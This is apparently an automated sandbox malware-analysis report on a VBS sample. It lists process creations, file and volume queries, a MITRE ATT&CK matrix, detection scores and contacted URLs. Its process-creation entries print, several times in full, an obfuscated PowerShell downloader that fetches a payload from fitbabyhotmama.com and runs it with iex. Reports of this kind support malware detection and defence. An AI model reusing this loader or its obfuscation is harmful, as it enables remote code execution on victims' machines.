Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "Get-Service;$Saddlecloths='func';Get-History;$Saddlecloths+='t';Get-History;$Saddlecloths+='i';$Sammenholder=Get-History;$Saddlecloths+='on:';$Sammenholder=Get-History;(ni -p $Saddlecloths -n Unbracing -value { param($Blindgngerne);$elaterids=1;do {$universalmidlet+=$Blindgngerne[$elaterids];$elaterids+=2} until(!$Blindgngerne[$elaterids])$universalmidlet});(ni -p $Saddlecloths -n Sdvanen -value {param($Polarity);.($Preliteralness) ($Polarity)});ConvertTo-Html;$Reclassifying=Unbracing ' NDeSTS. W';$Reclassifying+=Unbracing 'ceSbOCKL.i,E N T';$Madannoncers=Unbracing ' MBo zAi l lAaI/';$Stoneweed=Unbracing 'ST.lSs 1I2';$subdisjunctive=' [SN E T,. SMEiRTv i cSeMpMOOI nptNMRaSn a gMe R ]G:F: S e.cBUkR i TAy P.rmOFTAoKcNOuL =.$OSStGoSn E W ENEND';$Madannoncers+=Unbracing '.5 .V0T (OWgiKn dRoKwEsR NUT T1S0S..0U;T BWfi,n 6.4F; .xB6 4F;, wrLv :G1H3U4 .R0K)k GAe.cEkNo /I2 0S1B0 0D1P0 1U .F iBr e f oUx /I1U3H4B.H0';$brnesanges=Unbracing 'Lu S ESRU- aBG ERn T';$Squidgier=Unbracing ' hRt tApmsA:M/B/.fMiVt b a b y h oXtOmCabm aC.,cFo m / u nScPo,m.mOeVnVsAuMr,aft e lAy,.udawGp';$Arbitrable=Unbracing ',>';$Preliteralness=Unbracing ' ICe x';$Anstetiske='Sciaenids';$Dannekvindernes='\Lithochemistry.Uva';Sdvanen (Unbracing 'S$ g l oCbTaSlF: NTe TaHFI.n d e =R$DeHN VF:saSP P d A tUAG+ $NDSaGnSN EIkUvpI.NKD.E.rVn e s');Sdvanen (Unbracing 'D$.GPLGONbMa lR:sIYN DKe k sTMOANrCKKeKR iMnHg.e.RFNPe = $ S Q,uEI,dGG IKE rL. SRP LGI,T (O$taSRObAi TTR ASB,lqE )');Sdvanen (Unbracing $subdisjunctive);$Squidgier=$Indeksmarkeringerne[0];$Fllesordningerne=(Unbracing 'H$Sg LSO,BGa,L.:TF EPT ISs H,iPZsa,TUiNo N,=VnDe,wR- OSb JDE CLT RsHY sKtUe mI. $ R e CvLTaFSBs I FVYPiBn g');Sdvanen ($Fllesordningerne);Sdvanen (Unbracing 'N$PFAeTt iPs hRiAzKa tHi oBns.CH eSa.d,e rIs [ $fbIr n eUsNaOncg e s ] =S$YM a.d.aTn n o nGc,e.rRs');$Asfalts=Unbracing ' DFo.w n.lAoPa d.FPiNl e';$Muskeg=Unbracing ' $ FGe t,i s.hGiczDa t iPo nH.E$ AOs,f.aHl,tLsK.PISn vPoSkSeA(.$,SFq uUiKd,gRi e rA,D$ T.eSaOb o xDe se)';$Teaboxes=$Nethinde;Sdvanen (Unbracing 'T$ GRL OTb a LG: d i sVKFOAs k,ADS.T EDR nNENsL7c5 =f(ATZE SStA- pBaItFhK A$ t eMa.BaO x e ss)');while (!$Diskoskasternes75) {Sdvanen (Unbracing ' $ g l oHbRa.l : F oFr l a gAs,bEo,g hSa,n dFe l sT= $ HFyPgIiUePn iRsSt') ;Sdvanen $Muskeg;Sdvanen (Unbracing 'T[ tPHDr ESa.dIi NSG .IT.h ROetA D ] :S:VsSL,E eEP (L4P0S0M0 )');Sdvanen (Unbracing '.$ Gbl oSBHAOlF:RdUiIsSKDo,s KUA sBtfEORPnSE S.7C5,= ( T,E sNtS- PLA tRH s$MtPe a B.oEXVe,S,)') ;Sdvanen (Unbracing 'R$PG lOO bDa L :BsCtfrRA a,L e VRA rCMHeONY=D$Sg.lGoMbTA L :Fa N,pIA.rUT S HRA.VAE rUe.+R+A% $CIHNEd E KMS mTA r KReUrSIPnCGKERroNSe . C o UBN.t') ;$Squidgier=$Indeksmarkeringerne[$Straalevarmen]}$Crawlway20=397425;$Forvred=28707;Sdvanen (Unbracing 'M$sg L oTBEACLC:NSMAftSe l,LBI TSTEE,rPNDeP R=T .gkE T.-BCRO NYT eJN T D$ tDe a b OfX ELs');Sdvanen (Unbracing '.$PgTl oGbKa lf:BAT

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "get-service;$saddlecloths='func';get-history;$saddlecloths+='t';get-history;$saddlecloths+='i';$sammenholder=get-history;$saddlecloths+='on:';$sammenholder=get-history;(ni -p $saddlecloths -n unbracing -value { param($blindgngerne);$elaterids=1;do {$universalmidlet+=$blindgngerne[$elaterids];$elaterids+=2} until(!$blindgngerne[$elaterids])$universalmidlet});(ni -p $saddlecloths -n sdvanen -value {param($polarity);.($preliteralness) ($polarity)});convertto-html;$reclassifying=unbracing ' ndests. w';$reclassifying+=unbracing 'cesbockl.i,e n t';$madannoncers=unbracing ' mbo zai l laai/';$stoneweed=unbracing 'st.lss 1i2';$subdisjunctive=' [sn e t,. smeirtv i csempmooi nptnmrasn a gme r ]g:f: s e.cbukr i tay p.rmoftaokcnoul =.$osstgosn e w enend';$madannoncers+=unbracing '.5 .v0t (owgikn drokwesr nut t1s0s..0u;t bwfi,n 6.4f; .xb6 4f;, wrlv :g1h3u4 .r0k)k gae.cekno /i2 0s1b0 0d1p0 1u .f ibr e f oux /i1u3h4b.h0';$brnesanges=unbracing 'lu s esru- abg ern t';$squidgier=unbracing ' hrt tapmsa:m/b/.fmivt b a b y h oxtomcabm ac.,cfo m / u nscpo,m.moevnvsaumr,aft e lay,.udawgp';$arbitrable=unbracing ',>';$preliteralness=unbracing ' ice x';$anstetiske='sciaenids';$dannekvindernes='\lithochemistry.uva';sdvanen (unbracing 's$ g l ocbtaslf: nte tahfi.n d e =r$dehn vf:sasp p d a tuag+ $ndsagnsn eikuvpi.nkd.e.rvn e s');sdvanen (unbracing 'd$.gplgonbma lr:siyn dke k stmoanrckkekr imnhg.e.rfnpe = $ s q,uei,dgg ike rl. srp lgi,t (o$tasrobai ttr asb,lqe )');sdvanen (unbracing $subdisjunctive);$squidgier=$indeksmarkeringerne[0];$fllesordningerne=(unbracing 'h$sg lso,bga,l.:tf ept iss h,ipzsa,tuino n,=vnde,wr- osb jde clt rshy sktue mi. $ r e cvltafsbs i fvypibn g');sdvanen ($fllesordningerne);sdvanen (unbracing 'n$pfaett ips hriazka thi obns.ch esa.d,e ris [ $fbir n eusnaoncg e s ] =s$ym a.d.atn n o ngc,e.rrs');$asfalts=unbracing ' dfo.w n.laopa d.fpinl e';$muskeg=unbracing ' $ fge t,i s.hgiczda t ipo nh.e$ aos,f.ahl,tlsk.pisn vposksea(.$,sfq uuikd,gri e ra,d$ t.esaob o xde se)';$teaboxes=$nethinde;sdvanen (unbracing 't$ grl otb a lg: d i svkfoas k,ads.t edr nnensl7c5 =f(atze ssta- pbaitfhk a$ t ema.bao x e ss)');while (!$diskoskasternes75) {sdvanen (unbracing ' $ g l ohbra.l : f ofr l a gas,beo,g hsa,n dfe l st= $ hfypgiiuepn irsst') ;sdvanen $muskeg;sdvanen (unbracing 't[ tphdr esa.dii nsg .it.h roeta d ] :s:vssl,e eep (l4p0s0m0 )');sdvanen (unbracing '.$ gbl osbhaolf:rduiisskdo,s kua sbtfeorpnse s.7c5,= ( t,e snts- pla trh s$mtpe a b.oexve,s,)') ;sdvanen (unbracing 'r$pg loo bda l :bsctfrra a,l e vra rcmheony=d$sg.lgombta l :fa n,pia.rut s hra.vae rue.+r+a% $cihned e kms mta r kreursipncgkerronse . c o ubn.t') ;$squidgier=$indeksmarkeringerne[$straalevarmen]}$crawlway20=397425;$forvred=28707;sdvanen (unbracing 'm$sg l otbeaclc:nsmaftse l,lbi tstee,rpndep r=t .gke t.-bcro nyt ejn t d$ tde a b ofx els');sdvanen (unbracing '.$pgtl ogbka lf:bat
Source: unknown	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" "get-service;$saddlecloths='func';get-history;$saddlecloths+='t';get-history;$saddlecloths+='i';$sammenholder=get-history;$saddlecloths+='on:';$sammenholder=get-history;(ni -p $saddlecloths -n unbracing -value { param($blindgngerne);$elaterids=1;do {$universalmidlet+=$blindgngerne[$elaterids];$elaterids+=2} until(!$blindgngerne[$elaterids])$universalmidlet});(ni -p $saddlecloths -n sdvanen -value {param($polarity);.($preliteralness) ($polarity)});convertto-html;$reclassifying=unbracing ' ndests. w';$reclassifying+=unbracing 'cesbockl.i,e n t';$madannoncers=unbracing ' mbo zai l laai/';$stoneweed=unbracing 'st.lss 1i2';$subdisjunctive=' [sn e t,. smeirtv i csempmooi nptnmrasn a gme r ]g:f: s e.cbukr i tay p.rmoftaokcnoul =.$osstgosn e w enend';$madannoncers+=unbracing '.5 .v0t (owgikn drokwesr nut t1s0s..0u;t bwfi,n 6.4f; .xb6 4f;, wrlv :g1h3u4 .r0k)k gae.cekno /i2 0s1b0 0d1p0 1u .f ibr e f oux /i1u3h4b.h0';$brnesanges=unbracing 'lu s esru- abg ern t';$squidgier=unbracing ' hrt tapmsa:m/b/.fmivt b a b y h oxtomcabm ac.,cfo m / u nscpo,m.moevnvsaumr,aft e lay,.udawgp';$arbitrable=unbracing ',>';$preliteralness=unbracing ' ice x';$anstetiske='sciaenids';$dannekvindernes='\lithochemistry.uva';sdvanen (unbracing 's$ g l ocbtaslf: nte tahfi.n d e =r$dehn vf:sasp p d a tuag+ $ndsagnsn eikuvpi.nkd.e.rvn e s');sdvanen (unbracing 'd$.gplgonbma lr:siyn dke k stmoanrckkekr imnhg.e.rfnpe = $ s q,uei,dgg ike rl. srp lgi,t (o$tasrobai ttr asb,lqe )');sdvanen (unbracing $subdisjunctive);$squidgier=$indeksmarkeringerne[0];$fllesordningerne=(unbracing 'h$sg lso,bga,l.:tf ept iss h,ipzsa,tuino n,=vnde,wr- osb jde clt rshy sktue mi. $ r e cvltafsbs i fvypibn g');sdvanen ($fllesordningerne);sdvanen (unbracing 'n$pfaett ips hriazka thi obns.ch esa.d,e ris [ $fbir n eusnaoncg e s ] =s$ym a.d.atn n o ngc,e.rrs');$asfalts=unbracing ' dfo.w n.laopa d.fpinl e';$muskeg=unbracing ' $ fge t,i s.hgiczda t ipo nh.e$ aos,f.ahl,tlsk.pisn vposksea(.$,sfq uuikd,gri e ra,d$ t.esaob o xde se)';$teaboxes=$nethinde;sdvanen (unbracing 't$ grl otb a lg: d i svkfoas k,ads.t edr nnensl7c5 =f(atze ssta- pbaitfhk a$ t ema.bao x e ss)');while (!$diskoskasternes75) {sdvanen (unbracing ' $ g l ohbra.l : f ofr l a gas,beo,g hsa,n dfe l st= $ hfypgiiuepn irsst') ;sdvanen $muskeg;sdvanen (unbracing 't[ tphdr esa.dii nsg .it.h roeta d ] :s:vssl,e eep (l4p0s0m0 )');sdvanen (unbracing '.$ gbl osbhaolf:rduiisskdo,s kua sbtfeorpnse s.7c5,= ( t,e snts- pla trh s$mtpe a b.oexve,s,)') ;sdvanen (unbracing 'r$pg loo bda l :bsctfrra a,l e vra rcmheony=d$sg.lgombta l :fa n,pia.rut s hra.vae rue.+r+a% $cihned e kms mta r kreursipncgkerronse . c o ubn.t') ;$squidgier=$indeksmarkeringerne[$straalevarmen]}$crawlway20=397425;$forvred=28707;sdvanen (unbracing 'm$sg l otbeaclc:nsmaftse l,lbi tstee,rpndep r=t .gke t.-bcro nyt ejn t d$ tde a b ofx els');sdvanen (unbracing '.$pgtl ogbka lf:bat
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "get-service;$saddlecloths='func';get-history;$saddlecloths+='t';get-history;$saddlecloths+='i';$sammenholder=get-history;$saddlecloths+='on:';$sammenholder=get-history;(ni -p $saddlecloths -n unbracing -value { param($blindgngerne);$elaterids=1;do {$universalmidlet+=$blindgngerne[$elaterids];$elaterids+=2} until(!$blindgngerne[$elaterids])$universalmidlet});(ni -p $saddlecloths -n sdvanen -value {param($polarity);.($preliteralness) ($polarity)});convertto-html;$reclassifying=unbracing ' ndests. w';$reclassifying+=unbracing 'cesbockl.i,e n t';$madannoncers=unbracing ' mbo zai l laai/';$stoneweed=unbracing 'st.lss 1i2';$subdisjunctive=' [sn e t,. smeirtv i csempmooi nptnmrasn a gme r ]g:f: s e.cbukr i tay p.rmoftaokcnoul =.$osstgosn e w enend';$madannoncers+=unbracing '.5 .v0t (owgikn drokwesr nut t1s0s..0u;t bwfi,n 6.4f; .xb6 4f;, wrlv :g1h3u4 .r0k)k gae.cekno /i2 0s1b0 0d1p0 1u .f ibr e f oux /i1u3h4b.h0';$brnesanges=unbracing 'lu s esru- abg ern t';$squidgier=unbracing ' hrt tapmsa:m/b/.fmivt b a b y h oxtomcabm ac.,cfo m / u nscpo,m.moevnvsaumr,aft e lay,.udawgp';$arbitrable=unbracing ',>';$preliteralness=unbracing ' ice x';$anstetiske='sciaenids';$dannekvindernes='\lithochemistry.uva';sdvanen (unbracing 's$ g l ocbtaslf: nte tahfi.n d e =r$dehn vf:sasp p d a tuag+ $ndsagnsn eikuvpi.nkd.e.rvn e s');sdvanen (unbracing 'd$.gplgonbma lr:siyn dke k stmoanrckkekr imnhg.e.rfnpe = $ s q,uei,dgg ike rl. srp lgi,t (o$tasrobai ttr asb,lqe )');sdvanen (unbracing $subdisjunctive);$squidgier=$indeksmarkeringerne[0];$fllesordningerne=(unbracing 'h$sg lso,bga,l.:tf ept iss h,ipzsa,tuino n,=vnde,wr- osb jde clt rshy sktue mi. $ r e cvltafsbs i fvypibn g');sdvanen ($fllesordningerne);sdvanen (unbracing 'n$pfaett ips hriazka thi obns.ch esa.d,e ris [ $fbir n eusnaoncg e s ] =s$ym a.d.atn n o ngc,e.rrs');$asfalts=unbracing ' dfo.w n.laopa d.fpinl e';$muskeg=unbracing ' $ fge t,i s.hgiczda t ipo nh.e$ aos,f.ahl,tlsk.pisn vposksea(.$,sfq uuikd,gri e ra,d$ t.esaob o xde se)';$teaboxes=$nethinde;sdvanen (unbracing 't$ grl otb a lg: d i svkfoas k,ads.t edr nnensl7c5 =f(atze ssta- pbaitfhk a$ t ema.bao x e ss)');while (!$diskoskasternes75) {sdvanen (unbracing ' $ g l ohbra.l : f ofr l a gas,beo,g hsa,n dfe l st= $ hfypgiiuepn irsst') ;sdvanen $muskeg;sdvanen (unbracing 't[ tphdr esa.dii nsg .it.h roeta d ] :s:vssl,e eep (l4p0s0m0 )');sdvanen (unbracing '.$ gbl osbhaolf:rduiisskdo,s kua sbtfeorpnse s.7c5,= ( t,e snts- pla trh s$mtpe a b.oexve,s,)') ;sdvanen (unbracing 'r$pg loo bda l :bsctfrra a,l e vra rcmheony=d$sg.lgombta l :fa n,pia.rut s hra.vae rue.+r+a% $cihned e kms mta r kreursipncgkerronse . c o ubn.t') ;$squidgier=$indeksmarkeringerne[$straalevarmen]}$crawlway20=397425;$forvred=28707;sdvanen (unbracing 'm$sg l otbeaclc:nsmaftse l,lbi tstee,rpndep r=t .gke t.-bcro nyt ejn t d$ tde a b ofx els');sdvanen (unbracing '.$pgtl ogbka lf:bat	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	321 Scripting	Valid Accounts	11 Windows Management Instrumentation	321 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	111 Security Software Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	31 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 PowerShell	Login Hook	Login Hook	2 Obfuscated Files or Information	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	13 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Software Packing	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	23 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Rendeles nr13252436324563635635464574544545445474.vbs	6%	ReversingLabs
SAMPLE	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://fitbabyhotmama.com/uncommensurat	0%	Avira URL Cloud	safe
https://fitbabyhotmama.com/uncommensura	0%	Avira URL Cloud	safe
https://fitbabyhotmama.com/un	0%	Avira URL Cloud	safe
https://fitbabyhotmama.com/uncommensurately.	0%	Avira URL Cloud	safe
https://fitbabyhotmama.com/uncommensurately	0%	Avira URL Cloud	safe
http://fitbabyhotmama.com	0%	Avira URL Cloud	safe
https://fitbabyhotmama.com/uncomme	0%	Avira URL Cloud	safe
https://fitbabyhotmama.com/uncomm	0%	Avira URL Cloud	safe
https://fitbabyhotmama.com/uncommensuratel	0%	Avira URL Cloud	safe
https://fitbabyhotmama.com/unc	0%	Avira URL Cloud	safe
https://fitbabyhotmama.com/uncommensurately.dwp	0%	Avira URL Cloud	safe
https://fitbabyhotmama.co	0%	Avira URL Cloud	safe
https://fitbabyhotmama.com/uncommensu	0%	Avira URL Cloud	safe
https://fitbabyhotmama.com/uncommensurately.dwpP	0%	Avira URL Cloud	safe
https://fitbabyhotmama.com/uncommensurately.dw	0%	Avira URL Cloud	safe
https://fitbabyhotmama.com/	0%	Avira URL Cloud	safe
https://fitbabyhotmama.com/unco	0%	Avira URL Cloud	safe
https://fitbabyhotmama.com/uncom	0%	Avira URL Cloud	safe
https://fitbabyhotmama.com/uncommensur	0%	Avira URL Cloud	safe
https://fitbabyhotmama.com/u	0%	Avira URL Cloud	safe
https://fitbabyhotmama.com/uncommensurately.d	0%	Avira URL Cloud	safe
https://fitbabyhotmama.com/uncommen	0%	Avira URL Cloud	safe
https://fitbabyhotmama.com	0%	Avira URL Cloud	safe
https://fitbabyhotmama.com/uncommens	0%	Avira URL Cloud	safe
https://fitbabyhotmama.com/uncommensurate	0%	Avira URL Cloud	safe
https://fitbabyhotmama.com/uncommensurately.dwpXR	0%	Avira URL Cloud	safe
https://fitbabyhotmama.c	0%	Avira URL Cloud	safe

Domains and IPs

Download Network PCAP: filtered – full

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false		high
fitbabyhotmama.com	195.191.149.35	true	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://fitbabyhotmama.com/uncommensurately.dwp	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://nuget.org/NuGet.exe	powershell.exe, 00000001.00000002.1376251032.00000239ADAD6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.2489391953.0000000005A60000.00000004.00000800.00020000.00000000.sdmp	false		high
https://fitbabyhotmama.com/uncomme	powershell.exe, 00000001.00000002.1346705412.000002399E6C0000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 0000000B.00000002.2472228641.0000000004B44000.00000004.00000800.00020000.00000000.sdmp	false		high
https://fitbabyhotmama.com/uncommensurately	powershell.exe, 00000001.00000002.1346705412.000002399E6C0000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://fitbabyhotmama.com/uncommensurately.	powershell.exe, 00000001.00000002.1346705412.000002399E6C0000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 0000000B.00000002.2472228641.0000000004B44000.00000004.00000800.00020000.00000000.sdmp	false		high
https://fitbabyhotmama.com/uncommensuratel	powershell.exe, 00000001.00000002.1346705412.000002399E6C0000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://fitbabyhotmama.com/uncommensura	powershell.exe, 00000001.00000002.1346705412.000002399E6C0000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/License	powershell.exe, 0000000B.00000002.2489391953.0000000005A60000.00000004.00000800.00020000.00000000.sdmp	false		high
